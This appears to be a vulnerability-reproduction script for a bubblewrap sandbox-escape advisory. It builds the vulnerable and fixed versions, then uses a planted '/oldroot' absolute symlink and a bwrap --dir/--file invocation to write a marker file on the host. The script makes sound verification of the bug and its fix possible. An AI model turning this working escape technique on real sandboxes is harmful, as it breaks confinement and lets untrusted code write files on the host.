#!/bin/bash
# Reproduction for GHSA-pxhw-h44j-8pfx:
# bubblewrap sandbox escape via /oldroot symlink traversal during setup.
#
# Vulnerable: v0.11.0  (commit 9ca3b05ec787acfb4b17bed37db5719fa777834f, lacks fix commits)
# Fixed:      v0.12.0  (commit 2a76602a8c71f36c1527cf9fc3417d9149822e0c, contains
#                        67d4be103b18706b5b4e3f495daa35e89e47b163 "safe_openat from crun"
#                        and ea185f6fb135782cabab342e33432e8482a2f5c9 "Inline the privileged ops")
#
# Attack (per the advisory):
#   untrusted tree contains  subdir -> /oldroot<HOST_TARGET>   (absolute symlink)
#   bwrap --bind $UNTRUSTED / --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true
# During setup the host filesystem is mounted at /oldroot and the sandbox root at
# /newroot. Vulnerable bwrap resolves destination paths with plain
# mkdir_with_parents()/open() that follow the absolute symlink out of /newroot,
# creating the directory and the content-controlled marker file on the HOST.
# Fixed bwrap resolves with openat2(RESOLVE_IN_ROOT) confined to /newroot and
# fails closed with "Can't mkdir parents ... No such file or directory".
#
# Exit 0 = vulnerability confirmed (vuln escapes, fixed confines)
# Exit 1 = not reproduced
# Exit 2 = infrastructure blocker
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

REPO_URL="https://github.com/containers/bubblewrap.git"
VULN_COMMIT="9ca3b05ec787acfb4b17bed37db5719fa777834f"   # v0.11.0
FIXED_COMMIT="2a76602a8c71f36c1527cf9fc3417d9149822e0c"  # v0.12.0 (tag 2a76602a8c71 from ticket)
FIX1="67d4be103b18706b5b4e3f495daa35e89e47b163"          # safe_openat from crun
FIX2="ea185f6fb135782cabab342e33432e8482a2f5c9"          # Inline the privileged ops
LIBCAP_DEB_URL="http://archive.ubuntu.com/ubuntu/pool/main/libc/libcap2/libcap-dev_2.66-5ubuntu2.4_amd64.deb"

log() { echo "[repro $(date -u +%H:%M:%S)] $*"; }
die2() { log "INFRA BLOCKER: $*"; exit 2; }

# --------------------------------------------------------------------------
# 1. Resolve project cache context
# --------------------------------------------------------------------------
CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
PREPARED="false"
if [ -f "$CTX" ]; then
  eval "$(python3 - "$CTX" <<'PY'
import json, sys
try:
    d = json.load(open(sys.argv[1]))
    print('PROJECT_CACHE_DIR=%s' % d.get('project_cache_dir') or '')
    print('PREPARED=%s' % ('true' if d.get('prepared') else 'false'))
except Exception:
    print('PROJECT_CACHE_DIR=')
    print('PREPARED=false')
PY
)"
fi
if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
  BASE="$PROJECT_CACHE_DIR"
  log "Using prepared project cache at $BASE"
else
  BASE="$ROOT/artifacts/bubblewrap-project"
  mkdir -p "$BASE"
  log "No prepared cache; using bundle-local path $BASE"
fi
REPO="$BASE/repo"
TOOLS="$BASE/tools"
BUILD="$BASE/build"
mkdir -p "$TOOLS/debs" "$BUILD" "$TOOLS/bin"
export PATH="$TOOLS/bin:$PATH"

# --------------------------------------------------------------------------
# 2. Clone / update the repository
# --------------------------------------------------------------------------
if [ ! -d "$REPO/.git" ]; then
  log "Cloning bubblewrap into $REPO"
  if [ -d "$BASE/repo-mirrors" ]; then
    if [ ! -d "$BASE/repo-mirrors/bubblewrap.git" ]; then
      git clone --mirror "$REPO_URL" "$BASE/repo-mirrors/bubblewrap.git"
    else
      git -C "$BASE/repo-mirrors/bubblewrap.git" fetch --tags origin || true
    fi
    git clone "$BASE/repo-mirrors/bubblewrap.git" "$REPO"
  else
    git clone "$REPO_URL" "$REPO"
  fi
fi
git -C "$REPO" fetch --tags origin >/dev/null 2>&1 || true

# Verify the exact commits exist
git -C "$REPO" cat-file -e "$VULN_COMMIT^{commit}"  || die2 "vuln commit $VULN_COMMIT not found"
git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" || die2 "fixed commit $FIXED_COMMIT not found"

# Fix-commit ancestry checks (fixed must contain, vuln must lack)
git -C "$REPO" merge-base --is-ancestor "$FIX1" "$FIXED_COMMIT" || die2 "fix commit $FIX1 missing from $FIXED_COMMIT"
git -C "$REPO" merge-base --is-ancestor "$FIX2" "$FIXED_COMMIT" || die2 "fix commit $FIX2 missing from $FIXED_COMMIT"
if git -C "$REPO" merge-base --is-ancestor "$FIX1" "$VULN_COMMIT"; then
  log "ERROR: vulnerable checkout already contains fix commit $FIX1"; exit 1
fi
if git -C "$REPO" merge-base --is-ancestor "$FIX2" "$VULN_COMMIT"; then
  log "ERROR: vulnerable checkout already contains fix commit $FIX2"; exit 1
fi
log "Commit anchoring OK: vuln=$VULN_COMMIT (no fix), fixed=$FIXED_COMMIT (has $FIX1 + $FIX2)"

# --------------------------------------------------------------------------
# 3. Toolchain: gcc + libcap headers (no sudo available; use .deb extraction)
# --------------------------------------------------------------------------
command -v gcc >/dev/null || die2 "gcc not available"
LC_PREFIX="$TOOLS/libcap/usr"
if [ ! -f "$LC_PREFIX/include/sys/capability.h" ]; then
  log "Fetching libcap-dev .deb (header-only need; runtime lib is system libcap.so.2)"
  DEB=""
  if ( cd "$TOOLS/debs" && apt-get download libcap-dev ) >/dev/null 2>&1; then
    DEB="$(ls "$TOOLS"/debs/libcap-dev_*.deb 2>/dev/null | head -1 || true)"
  fi
  if [ -z "$DEB" ]; then
    curl -fsSL -o "$TOOLS/debs/libcap-dev.deb" "$LIBCAP_DEB_URL" || die2 "cannot fetch libcap-dev deb"
    DEB="$TOOLS/debs/libcap-dev.deb"
  fi
  rm -rf "$TOOLS/libcap"; mkdir -p "$TOOLS/libcap"
  if command -v dpkg-deb >/dev/null; then
    dpkg-deb -x "$DEB" "$TOOLS/libcap"
  else
    # portable .deb extraction: ar + tar (handles xz/zst/gz payloads)
    ( cd "$TOOLS/libcap" && ar x "$DEB" && \
      PAYLOAD="$(ls data.tar.* | head -1)" && tar -xf "$PAYLOAD" && rm -f data.tar.* control.tar.* debian-binary )
  fi
fi
[ -f "$LC_PREFIX/include/sys/capability.h" ] || die2 "libcap headers unavailable"
log "libcap headers at $LC_PREFIX/include"

# --------------------------------------------------------------------------
# 4. Build vulnerable and fixed bwrap with gcc (meson is unavailable w/o sudo;
#    only PACKAGE_STRING is required from config.h, no other config macros)
# --------------------------------------------------------------------------
build_bwrap() {
  local name="$1" commit="$2"; shift 2
  local src="$BUILD/src-$name" cfg="$BUILD/cfg-$name" out="$BUILD/bwrap-$name"
  rm -rf "$src"; mkdir -p "$src" "$cfg"
  git -C "$REPO" archive "$commit" | tar -x -C "$src"
  echo "#define PACKAGE_STRING \"bubblewrap $name\"" > "$cfg/config.h"
  gcc -O2 -D_GNU_SOURCE -o "$out" \
      "$src"/bubblewrap.c "$src"/utils.c "$src"/network.c "$src"/bind-mount.c \
      "$@" \
      -I"$cfg" -I"$LC_PREFIX/include" -L"$LC_PREFIX/lib/x86_64-linux-gnu" -lcap
  # "$@" carries extra sources resolved relative to the extracted tree below
  echo "$out"
}

# vuln tree must lack the fix file; fixed tree must contain it
rm -rf "$BUILD/check-vuln" "$BUILD/check-fixed"
mkdir -p "$BUILD/check-vuln" "$BUILD/check-fixed"
git -C "$REPO" archive "$VULN_COMMIT"  | tar -x -C "$BUILD/check-vuln"
git -C "$REPO" archive "$FIXED_COMMIT" | tar -x -C "$BUILD/check-fixed"
[ ! -f "$BUILD/check-vuln/safe_openat.c" ] || { log "ERROR: vuln tree has safe_openat.c"; exit 1; }
[ -f "$BUILD/check-fixed/safe_openat.c" ]  || { log "ERROR: fixed tree lacks safe_openat.c"; exit 1; }
log "Source-tree patch check OK (vuln lacks safe_openat.c, fixed has it)"

BWRAP_VULN="$(build_bwrap v0.11.0 "$VULN_COMMIT")"
BWRAP_FIXED="$(build_bwrap v0.12.0 "$FIXED_COMMIT" \
              "$BUILD/src-v0.12.0/chroot_realpath.c" "$BUILD/src-v0.12.0/safe_openat.c")"
log "Built: $BWRAP_VULN ($("$BWRAP_VULN" --version))"
log "Built: $BWRAP_FIXED ($("$BWRAP_FIXED" --version))"

# --------------------------------------------------------------------------
# 5. Environment smoke test: unprivileged user namespaces must work
# --------------------------------------------------------------------------
SMOKE_LOG="$LOGS/smoke_test.log"
{
  echo "date: $(date -uIs)"
  echo "kernel: $(uname -r)"
  echo "unprivileged_userns_clone: $(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo n/a)"
  echo "max_user_namespaces: $(cat /proc/sys/user/max_user_namespaces 2>/dev/null || echo n/a)"
  echo "uid: $(id)"
  echo "smoke: bwrap-v0.11.0 --ro-bind / / /usr/bin/true"
  if timeout 30 "$BWRAP_VULN" --ro-bind / / /usr/bin/true; then
    echo "smoke_result: OK"
  else
    echo "smoke_result: FAILED ($?)"
  fi
} > "$SMOKE_LOG" 2>&1
grep -q "smoke_result: OK" "$SMOKE_LOG" || { cat "$SMOKE_LOG"; die2 "bwrap smoke test failed (user namespaces unavailable?)"; }
log "Smoke test OK (unprivileged user namespaces functional)"

# --------------------------------------------------------------------------
# 6. Attack attempts: 2x vulnerable, 2x fixed (hermetic workdir per attempt)
# --------------------------------------------------------------------------
MARKER_CONTENT="BWRAP_OLDROOT_ESCAPE_$(date -u +%Y%m%dT%H%M%SZ)"
PROOF_SUMMARY="$REPRO_DIR/proof_summary.txt"
: > "$PROOF_SUMMARY"
{
  echo "GHSA-pxhw-h44j-8pfx reproduction summary"
  echo "date: $(date -uIs)"
  echo "vulnerable_commit: $VULN_COMMIT (v0.11.0)"
  echo "fixed_commit: $FIXED_COMMIT (v0.12.0)"
  echo "marker_content: $MARKER_CONTENT"
  echo "bwrap-vuln sha256: $(sha256sum "$BWRAP_VULN" | awk '{print $1}')"
  echo "bwrap-fixed sha256: $(sha256sum "$BWRAP_FIXED" | awk '{print $1}')"
  echo ""
} >> "$PROOF_SUMMARY"

OVERALL_FAIL=0

run_attempt() {
  local role="$1" n="$2" bin="$3"
  local work="$REPRO_DIR/work/$role-$n"
  local untrusted="$work/untrusted" host_target="$work/host_target"
  local alog="$LOGS/attempt-$role-$n.log"
  rm -rf "$work"; mkdir -p "$untrusted" "$host_target"
  echo "$MARKER_CONTENT" > "$work/marker_src.txt"
  # Attacker-controlled absolute symlink inside the untrusted tree.
  # During bwrap setup, /oldroot is the host filesystem root.
  ln -s "/oldroot$host_target" "$untrusted/subdir"

  local ec=0
  {
    echo "attempt: $role-$n"
    echo "binary: $bin ($("$bin" --version 2>&1))"
    echo "binary_sha256: $(sha256sum "$bin" | awk '{print $1}')"
    echo "untrusted tree:"; ls -la "$untrusted"
    echo "symlink: $(readlink "$untrusted/subdir")"
    echo "host_target (pre-run):"; ls -la "$host_target"
    echo "command: timeout 30 $bin --bind $untrusted / --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /lib64 /lib64 --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true 3<$work/marker_src.txt"
    echo "--- bwrap output ---"
  } > "$alog" 2>&1
  if timeout 30 "$bin" \
        --bind "$untrusted" / \
        --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /lib64 /lib64 \
        --dir /subdir/newdir \
        --file 3 /subdir/newdir/ESCAPE_MARKER.txt \
        /usr/bin/true 3<"$work/marker_src.txt" >> "$alog" 2>&1; then
    ec=0
  else
    ec=$?
  fi
  {
    echo "--- exit_code: $ec"
    echo "host_target (post-run):"; ls -laR "$host_target"
    if [ -f "$host_target/newdir/ESCAPE_MARKER.txt" ]; then
      echo "host marker content: $(cat "$host_target/newdir/ESCAPE_MARKER.txt")"
    else
      echo "host marker content: <absent>"
    fi
  } >> "$alog" 2>&1

  local host_dir="absent" host_file="absent" content_ok="no"
  [ -d "$host_target/newdir" ] && host_dir="present"
  if [ -f "$host_target/newdir/ESCAPE_MARKER.txt" ] && \
     [ "$(cat "$host_target/newdir/ESCAPE_MARKER.txt")" = "$MARKER_CONTENT" ]; then
    host_file="present"; content_ok="yes"
  fi

  local verdict
  if [ "$role" = "vuln" ]; then
    if [ "$ec" = "0" ] && [ "$host_dir" = "present" ] && [ "$content_ok" = "yes" ]; then
      verdict="ESCAPE_CONFIRMED (host dir + attacker-controlled marker file created outside sandbox)"
    else
      verdict="NO_ESCAPE (unexpected for vulnerable build)"; OVERALL_FAIL=1
    fi
  else
    if [ "$ec" != "0" ] && [ "$host_dir" = "absent" ] && [ "$host_file" = "absent" ]; then
      verdict="CONTAINED (fixed build failed closed, nothing created on host)"
    else
      verdict="NOT_CONTAINED (unexpected for fixed build)"; OVERALL_FAIL=1
    fi
  fi
  echo "attempt-$role-$n: exit=$ec host_dir=$host_dir host_marker=$host_file marker_content_match=$content_ok => $verdict" | tee -a "$PROOF_SUMMARY"
  log "attempt-$role-$n: exit=$ec host_dir=$host_dir host_marker=$host_file => $verdict"
}

run_attempt vuln 1 "$BWRAP_VULN"
run_attempt vuln 2 "$BWRAP_VULN"
run_attempt fixed 1 "$BWRAP_FIXED"
run_attempt fixed 2 "$BWRAP_FIXED"

# Finalize proof summary BEFORE hashing it into the manifest
echo "" >> "$PROOF_SUMMARY"
if [ "$OVERALL_FAIL" = "0" ]; then
  echo "VERDICT: CONFIRMED - GHSA-pxhw-h44j-8pfx reproduced (v0.11.0 escapes to host, v0.12.0 contained)" | tee -a "$PROOF_SUMMARY"
else
  echo "VERDICT: NOT REPRODUCED - see attempt logs" | tee -a "$PROOF_SUMMARY"
fi

# --------------------------------------------------------------------------
# 6b. Finalize host-escape markers into a promotable evidence location.
#     repro/work/ is per-attempt scratch; copy the immutable marker bytes out
#     before they are hashed into the runtime manifest.
# --------------------------------------------------------------------------
mkdir -p "$REPRO_DIR/markers"
for n in 1 2; do
  if [ -f "$REPRO_DIR/work/vuln-$n/host_target/newdir/ESCAPE_MARKER.txt" ]; then
    cp -f "$REPRO_DIR/work/vuln-$n/host_target/newdir/ESCAPE_MARKER.txt" \
          "$REPRO_DIR/markers/ESCAPE_MARKER-vuln-$n.txt"
    log "finalized marker copy: repro/markers/ESCAPE_MARKER-vuln-$n.txt"
  fi
done

# --------------------------------------------------------------------------
# 7. Runtime evidence manifest (proof artifacts are immutable at this point)
# --------------------------------------------------------------------------
TARGET_DIGEST="$(printf 'git:%s@%s' "$REPO_URL" "$VULN_COMMIT" | sha256sum | awk '{print $1}')"
if [ "$OVERALL_FAIL" = "0" ]; then
  python3 - "$REPRO_DIR/runtime_manifest.json" "$TARGET_DIGEST" <<'PY'
import hashlib, json, os, sys
out, tdigest = sys.argv[1], sys.argv[2]
root = os.environ["PRUVA_ROOT"]
proof = [
    "logs/smoke_test.log",
    "logs/attempt-vuln-1.log",
    "logs/attempt-vuln-2.log",
    "logs/attempt-fixed-1.log",
    "logs/attempt-fixed-2.log",
    "repro/proof_summary.txt",
    "repro/markers/ESCAPE_MARKER-vuln-1.txt",
    "repro/markers/ESCAPE_MARKER-vuln-2.txt",
]
sha = {}
for p in proof:
    fp = os.path.join(root, p)
    with open(fp, "rb") as f:
        sha[p] = hashlib.sha256(f.read()).hexdigest()
manifest = {
    "entrypoint_kind": "cli_command",
    "entrypoint_detail": "bwrap --bind <untrusted-tree> / --dir /subdir/newdir --file 3 /subdir/newdir/ESCAPE_MARKER.txt /usr/bin/true, where the untrusted tree contains subdir -> /oldroot<host_target>",
    "service_started": False,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["bubblewrap-v0.11.0 (vulnerable)", "bubblewrap-v0.12.0 (fixed)", "linux-user-namespaces", "linux-mount-namespaces"],
    "target_identity": {
        "repository_url": "https://github.com/containers/bubblewrap.git",
        "commit_sha": "9ca3b05ec787acfb4b17bed37db5719fa777834f",
        "target_digest": tdigest,
        "platform": "linux",
        "architecture": "x86_64"
    },
    "proof_artifacts": proof,
    "artifact_sha256": sha,
    "notes": "cli_local surface: real bwrap CLI executed unprivileged via user namespaces. Vulnerable v0.11.0 followed the /oldroot absolute symlink and created a directory plus attacker-content marker file on the host (outside the sandbox) in 2/2 attempts; fixed v0.12.0 failed closed (RESOLVE_IN_ROOT) in 2/2 attempts. No service needed: entrypoint is the bwrap CLI itself."
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
PY
  log "runtime_manifest.json written"
else
  # Attempt failed: still emit a manifest with false flags for auditability
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
manifest = {
    "entrypoint_kind": "cli_command",
    "entrypoint_detail": "bwrap --bind <untrusted-tree> / --dir /subdir/newdir (symlink to /oldroot<host_target>)",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": [],
    "proof_artifacts": [],
    "artifact_sha256": {},
    "notes": "attempts did not produce the expected divergence; see logs/attempt-*.log"
}
with open(sys.argv[1], "w") as f:
    json.dump(manifest, f, indent=2)
PY
fi

# --------------------------------------------------------------------------
# 8. Update project cache manifest (only reusable data, never proof output)
# --------------------------------------------------------------------------
if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ]; then
  CTX2="$ROOT/project_cache_context.json"
  CMP="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["cache_manifest_path"])' "$CTX2" 2>/dev/null || true)"
  CSV="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["cache_manifest_schema_version"])' "$CTX2" 2>/dev/null || echo 1)"
  if [ -n "$CMP" ]; then
    mkdir -p "$(dirname "$CMP")"
    python3 - "$CMP" "$CSV" <<'PY'
import json, sys
path, ver = sys.argv[1], int(sys.argv[2])
entries = [
    {"path": "repo", "reuse_class": "repo"},
    {"path": "tools", "reuse_class": "toolchain"},
    {"path": "build", "reuse_class": "build"},
]
json.dump({"schema_version": ver, "entries": entries}, open(path, "w"), indent=2)
PY
    log "cache manifest updated at $CMP"
  fi
fi

if [ "$OVERALL_FAIL" = "0" ]; then
  log "VULNERABILITY CONFIRMED"
  exit 0
else
  log "NOT REPRODUCED"
  exit 1
fi
